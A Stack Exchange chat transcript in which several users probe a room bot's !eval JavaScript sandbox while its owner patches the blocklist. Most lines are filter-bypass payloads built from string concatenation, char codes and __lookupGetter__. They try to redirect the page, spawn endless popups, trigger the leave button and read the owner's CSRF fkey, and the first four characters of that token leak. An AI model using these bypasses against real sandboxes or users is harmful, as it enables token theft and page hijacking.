Wizards Den

Unikitty eats a cat

12:22 AM

I saw my teacher's code formatting and almost died

SO's formatting is better than his

neferpitou

2:13 AM

isDenAlive()

false

Shadow Wizard

8:46 AM

status-false

berserk

11:22 AM

@Unikittyeatsacat So, you had near-death experience?

Wow, I am here with animals and plants.

Heloooo!! Any human here?!

berserk

12:08 PM

@Unikittyeatsacat lend me your minecraft account.

neferpitou

12:34 PM

isDenAlive();

doSomethingNeferpitou();

berserk

false

void

Unikitty eats a cat

12:46 PM

Sup

@berserk ????

yup

Runs

Hup

God siree cn eye uz ur accaunt too pley fawr a whiel?

Unikitty eats a cat

Can u buey et ursalf?

me am maeking a moadpak

@PDKnight haz you fixt bugz yat?

berserk

12:49 PM

neferpitou

@uni I have a server now

its just a free one

Unikitty eats a cat

yay!

Dammit

neferpitou

wanna join

Unikitty eats a cat

I didn't go to SO yesterday

neferpitou

lol

Unikitty eats a cat

12:51 PM

@neferpitou ok

Poor @ber

neferpitou

did you copy it?

Unikitty eats a cat

Yep

neferpitou

nice

I will give berserk an account soon

berserk

Unikitty eats a cat

Nice cat picture

berserk

12:53 PM

@neferpitou yay!

neferpitou

haha

Unikitty eats a cat

Is that the other uni?

neferpitou

yep

Unikitty eats a cat

lol

I just hit him

neferpitou

???

berserk

12:55 PM

with an axe?

Unikitty eats a cat

Hand

neferpitou

should we build house now

@uni where should we build house?

Unikitty eats a cat

In the mountain

neferpitou

how to chat in the game?

Unikitty eats a cat

press 't'

neferpitou

1:29 PM

what happen?????

didnt expect that

Unikitty eats a cat

??

When you left?

neferpitou

Disconnected

Im back

-reconnected

PDKnight

@Unikittyeatsacat wich bugz?

Unikitty eats a cat

@PDKnight The ... at the end bug

PDKnight

@Unikittyeatsacat do you mean the xml?

Unikitty eats a cat

1:40 PM

yep

that one

PDKnight

I'll fix that today, I was working on new song yesterday, so... :D

Unikitty eats a cat

lol

PDKnight

!eval location

>
chat.meta.stackexchange.com/rooms/721/shadows-den

@Unikittyeatsacat btw ^

Unikitty eats a cat

!eval location.href = 'a'

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

1:52 PM

!eval location.href = 'http://google.com'

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

??

!eval location

PDKnight

you can show it, but you can't use it :P

>
chat.meta.stackexchange.com/rooms/721/shadows-den

Unikitty eats a cat

Nice

!eval location.href

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

1:53 PM

Whatt?

!eval location['href']

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

:D magic

Unikitty eats a cat

!eval location [ 'hr' + "ef" ]

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

!eval __lookupSetter__('loca'+'tion', 'href')('http://google.com')

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

1:56 PM

!alive

PDKnight

@Unikittyeatsacat Guess who's here!

Unikitty eats a cat

Wat

!eval __lookupGetter__('lo'+'cation')()['reload']()

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> location

Unikitty eats a cat

D:

ProgramFOX

!eval __lookupSetter__('loca'+'ti'+String.fromCharCode(111)+'n', 'href')('http://google.com')

PDKnight

2:00 PM

@ProgramFOX Error: __lookupSetter__(...) is not a function

Unikitty eats a cat

!eval __lookupGetter__('lo'+'c' + (10).toString(16)+'tion')()['reload']()

ProgramFOX

Well, no lookupSetter for me then.

Unikitty eats a cat

!alive

Boo, Boo

ProgramFOX

Wait, lookupGetter does exist?

Unikitty eats a cat

yep it does

ProgramFOX

2:01 PM

I know, but last time I tried it on the bot it didn't work.

Unikitty eats a cat

Found another hole

@Pro what should we abuse now?

ProgramFOX

Nothing, as long as the bot is dead.

Unikitty eats a cat

!eval Function

PDKnight

>
function Function() { [native code] }

Unikitty eats a cat

!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://chat.meta.stackexchange.com/rooms/721/shadows-den", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();

PDKnight

2:06 PM

@Unikittyeatsacat Please, don't use RegExp in your query.

Unikitty eats a cat

Huh?

ProgramFOX

oh, so it wasn't dead in the first place?

PDKnight

w8

I disabled it

Unikitty eats a cat

!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();

D:

See?

Your anti regex disallows urls

BOO BOO BOO

PDKnight

@Unikittyeatsacat try it again

oh no

I need to fix smthng

@Unikittyeatsacat here we go...now?

Unikitty eats a cat

2:15 PM

!eval var n=Function('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function

Unikitty eats a cat

D:

!eval Function

PDKnight

>
function Function() { [native code] }

neferpitou

sorry

I forgot to renew

lol

Unikitty eats a cat

!eval var n=Function.constructor ('fo' + 'r (i = 0; i < Infinity; i+' + '+) {\n open("http://google.com", "_blank", "width="+screen.width + ",height"+screen.height); al' + 'ert("BOO BOO BOO BOO BOO") } ')();

PDKnight

2:16 PM

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function

Unikitty eats a cat

!eval Function.

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function

Unikitty eats a cat

!eval Function [

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Function

Unikitty eats a cat

!eval __lookupGetter__('stop' + 'dbot'.toUpperCase())()

PDKnight

2:18 PM

@Unikittyeatsacat Error: __lookupGetter__(...) is not a function

Unikitty eats a cat

!eval lookupGetter

PDKnight

@Unikittyeatsacat Error: lookupGetter is not defined

Unikitty eats a cat

!eval __lookupGetter__

PDKnight

>
function __lookupGetter__() { [native code] }

Unikitty eats a cat

!eval __lookupGetter__('stop' + 'dbot'.toUpperCase())()

PDKnight

2:19 PM

@Unikittyeatsacat Error: __lookupGetter__(...) is not a function

ProgramFOX

what

Unikitty eats a cat

__lookupGetter__('stop' + 'dbot'.toUpperCase())()

ProgramFOX

"It's a function with native code, but it doesn't exist"

Unikitty eats a cat

JUST REMOVE EVAL

WE WILL BREAK YOUR BOT

TRUST ME

ProgramFOX

!eval "fkey"

PDKnight

2:20 PM

@ProgramFOX I'm sorry, but your query contains banned expression(s). -> fkey

ProgramFOX

good

!eval body

PDKnight

>
[object Object]

Unikitty eats a cat

!eval body.querySelector('#fkey')

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> fkey

ProgramFOX

!eval body["f"+"key"][0]

PDKnight

2:21 PM

@ProgramFOX I'm sorry, but your query contains banned expression(s). -> fkey

Unikitty eats a cat

!eval body.querySelector('#fk'+'ey')

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> fkey

Unikitty eats a cat

!eval body.querySelector('#fk'+(15).toString(16) + "y")

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> body.

Unikitty eats a cat

\!eval body . querySelector('#fk'+(15).toString(16) + "y")

ProgramFOX

2:21 PM

haha, meanwhile, body is banned too

Unikitty eats a cat

!eval body . querySelector('#fk'+(15).toString(16) + "y")

PDKnight

@Unikittyeatsacat Error: body.querySelector is not a function

:D

Shadow Wizard

!eval __lookupGetter__('stop dbot')

PDKnight

>
undefined

Shadow Wizard

?

PDKnight

2:22 PM

!alive

@PDKnight Booo, booo!

Shadow Wizard

lol

ProgramFOX

@Unikittyeatsacat Duh, body does not refer to a HTML element, but it's some Stack Exchange object including your fkey.

Unikitty eats a cat

@PDKnight prepare to delete messages

Found bug

ProgramFOX

!eval __lookupGetter__

PDKnight

>
function __lookupGetter__() { [native code] }

Unikitty eats a cat

2:23 PM

body['fk' + (15).toString(16) + 'y']

fail

Wait it's 14

:D :D

@ProgramFOX in chat, there is also hidden input with the fkey

Unikitty eats a cat

Hides

ProgramFOX

2:23 PM

@ShadowWizard Yeah but the body object won't help with that, as Unikitty tried.

Shadow Wizard

@ProgramFOX hmm... yup

Unikitty eats a cat

!eval leave.ownerDocument.querySelector('#fk' + (14).toString(16) + 'y')

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains banned expression(s). -> Document

ProgramFOX

Ah come on @Unikittyeatsacat, don't make his fkey public. If you want to exploit it, just publish the first char to chat.

Unikitty eats a cat

!eval leave['owner' + 'd'.toUpperCase()+'ocument'].querySelector('#fk' + (14).toString(16) + 'y')

PDKnight

2:25 PM

@Unikittyeatsacat Error: Cannot read property 'querySelector' of undefined

w8

Unikitty eats a cat

...

PDKnight

I disabled it

Unikitty eats a cat

Are you using ie for what

QOTM??

PDKnight

activated

Shadow Wizard

!eval $.post

Unikitty eats a cat

2:25 PM

> Are you using IE or what?

PDKnight

chrome -.-

@ShadowWizard try again, please

ProgramFOX

Use Firefox!

Shadow Wizard

!eval $.post

PDKnight

@ShadowWizard I'm sorry, but your query contains banned expression(s). -> \$.

Unikitty eats a cat

!eval leave['owner' + 'd'.toUpperCase()+'ocument'].querySelector('#fk' + (14).toString(16) + 'y').value[0]

PDKnight

2:26 PM

@Unikittyeatsacat Error: Cannot read property 'querySelector' of undefined

Unikitty eats a cat

!eval leave

PDKnight

>
chat.meta.stackexchange.com/chats/leave/721

Shadow Wizard

!eval jQuery.post

PDKnight

I know sadface

Unikitty eats a cat

!eval leave.click()

!alive

PDKnight

2:26 PM

@Unikittyeatsacat Booo, booo!

Unikitty eats a cat

!eval leave ['click'] .call()

PDKnight

@Unikittyeatsacat Error: Illegal invocation

Unikitty eats a cat

!eval leave ['click']()

Boo, Boo

neferpitou

@uni pls look at the bottom there is some kinda hard stone

PDKnight

yas

ProgramFOX

2:27 PM

and there it went

that worked :D

I cant break it

!eval 'alive'

nope, I disabled it

Yeah, I figured that out :P

IͶΔ

2:30 PM

!eval nope

Gah

Unikitty eats a cat

2:51 PM

!eval 'alive??'

PDKnight

@Unikittyeatsacat yep

!eval 'alive'

>
alive

Unikitty eats a cat

!eval leave.parentElement.parentElement.parentElement.parentElement.parentElement.pare‌ntElement.parentElement.parentElement.querySelector('#fkey').value.substring(0, 4)

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(

Unikitty eats a cat

??

neferpitou

wew

@uni did you get the server info?

Unikitty eats a cat

2:53 PM

!eval leave.parentElement.parentElement.parentElement.parentElement.parentElement.pare‌ntElement.parentElement.parentElement.querySelector('#' + 'fk' + 'e' + 'y').value.substring(0, 4)

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(

Unikitty eats a cat

@neferpitou Nope

neferpitou

thats the user credential :(

ProgramFOX

!eval jQuery

PDKnight

>
function (a,b){return new e.fn.init(a,b,h)}

ProgramFOX

2:54 PM

!eval jQuery("#input")[0].innerHTML="This is a test";jQuery("#sayit-button").click();

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 9 :(

ProgramFOX

!eval jQuery("#input").text("This is a test");jQuery("#sayit-button").click();

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 9 :(

ProgramFOX

!eval jQuery("#in"+put").text("This is a test");jQuery("#sayit"+"-button").click();

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(

Unikitty eats a cat

2:56 PM

!eval leave

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(

ProgramFOX

!eval jQuery("#in"+put").text("This is a test");jQuery("#sayit"+"-butt"+"on")["cli"+"ck"]();

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(

Unikitty eats a cat

!eval getmore

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 0 :(

ProgramFOX

2:56 PM

!eval jQuery("#in"+put").text("This is a test");jQuery("#"+"sa"+"yit"+"-butt"+"on")["cli"+"ck"]();

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 51 :(

Unikitty eats a cat

!eval .button

PDKnight

@Unikittyeatsacat Error: Unexpected token .

ProgramFOX

!eval jQuery("#in"+put").text("This is a test");var e = jQuery.Event("keypress");e.which=13;e.keyCode=13;jQuery("#in"+"put").trigger(e);

PDKnight

@ProgramFOX I'm sorry, but your query contains id of banned element at char 108 :(

ProgramFOX

2:58 PM

ugh

Unikitty eats a cat

!eval [leave][0].parentElement.parentElement.parentElement.parentElement.parentElement‌.parentElement.parentElement.parentElement.querySelector('#fk' + (14).toString(16) + 'y').value.substring(0, 4)

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 1 :(

ProgramFOX

!eval jQuery("#in"+put").text("This is a test");var e = jQuery.Event("keypr"+"ess");e.which=13;e.keyCode=13;jQuery("#in"+"p"+"ut")["trig‌"+"ger"](e);

PDKnight

anyway,
jQuery("#in"+put") is not valid

ProgramFOX

oh

:(

PDKnight

2:59 PM

but it won't work though

Unikitty eats a cat

!eval "I want to leave this place"

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains id of banned element at char 11 :(

Unikitty eats a cat

Boo, Boo

ProgramFOX

!eval var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";jQuery(a).text("This is a test");var e = jQuery.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;jQuery(a)["trig‌"+"ger"‌](e);

PDKnight

@ProgramFOX I'm sorry, but your query contains banned expression(s). -> jQuery.

ProgramFOX

3:00 PM

grr

Unikitty eats a cat

!eval jQuery

PDKnight

>
function (a,b){return new e.fn.init(a,b,h)}

Unikitty eats a cat

!eval [jQuery][0]('#fk' + (14).toString(16) + 'y').val().substring(0, 4)

PDKnight

>
3d0a

ProgramFOX

!eval var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";jQuery(a).text("This is a test");var j = jQuery;j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;jQuery(a)["trig‌"+"ge‌r"‌](e);

Unikitty eats a cat

3:00 PM

BOOOOOO

PDKnight

@ProgramFOX I'm sorry, but your query contains banned expression(s). -> jQuery(

Unikitty eats a cat

HAHAAHAHHA

ROFL

@Pro mission accomplished!

ProgramFOX

!eval var j=jQuery;var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";j(a).text("This is a test");j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;j(a)["trig‌"+"ge‌r"‌‌](e);

PDKnight

@ProgramFOX Error: Unexpected token ILLEGAL

Unikitty eats a cat

Anyways...

ProgramFOX

3:02 PM

!eval var j=jQuery;var a=String.fromCharCode(35)+String.fromCharCode(105)+"nput";j(a).text("This is a test");j.Event("keypr"+"ess");e.which=12+1;e.keyCode=14-1;j(a).trigger(e);

Unikitty eats a cat

Gonna mess with more JS

PDKnight

I disabled it again

Unikitty eats a cat

UserScripts

@PDKnight Did you like it?

PDKnight

@Unikittyeatsacat I'm adding a bit of protection :P

ProgramFOX

@PDKnight The best (and only) protection is basically to disallow !eval at all.

IͶΔ

3:05 PM

@Unikittyeatsacat Such poetry!

Unikitty eats a cat

Yay!

PDKnight

@ProgramFOX so why do you try to hack into it? :D

Unikitty eats a cat

Denlings!

@PDK just remove regex

ProgramFOX

@PDKnight Because it's fun and I do that with all eval-bots :P

Unikitty eats a cat

Just realized something

IͶΔ

3:15 PM

@PDKnight To make you realize that?

Unikitty eats a cat

Since it matches our code with regex, REDOS TIME

PDKnight

huh? :D

@Unikittyeatsacat

PDKnight

3:42 PM

back @Unikittyeatsacat

!eval [jQuery]

@PDKnight I'm sorry, but your query contains disallowed array: [jQuery] :(

Unikitty eats a cat

!eval [1, 2, 3]

PDKnight

>
1,2,3

Unikitty eats a cat

!eval [$]

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains disallowed array: [\$] :(

Unikitty eats a cat

!eval [2, jQuery , 1 ]

PDKnight

3:43 PM

>
2,function (a,b){return new e.fn.init(a,b,h)},1

fck :D

w8

!eval [0, jQuery, 1]

@PDKnight I'm sorry, but your query contains disallowed array: [jQuery] :(

Unikitty eats a cat

!eval var n = []; n.push(jQuery); n[0]('#fk' + (14).toString(16) + 'y').val().substring(0, 4)

PDKnight

@Unikittyeatsacat I'm sorry, but your query contains disallowed array: [jQuery] :(

Unikitty eats a cat

D:

!eval var n = []

PDKnight

but wait

w8

PDKnight

4:05 PM

ahhh

Transcript for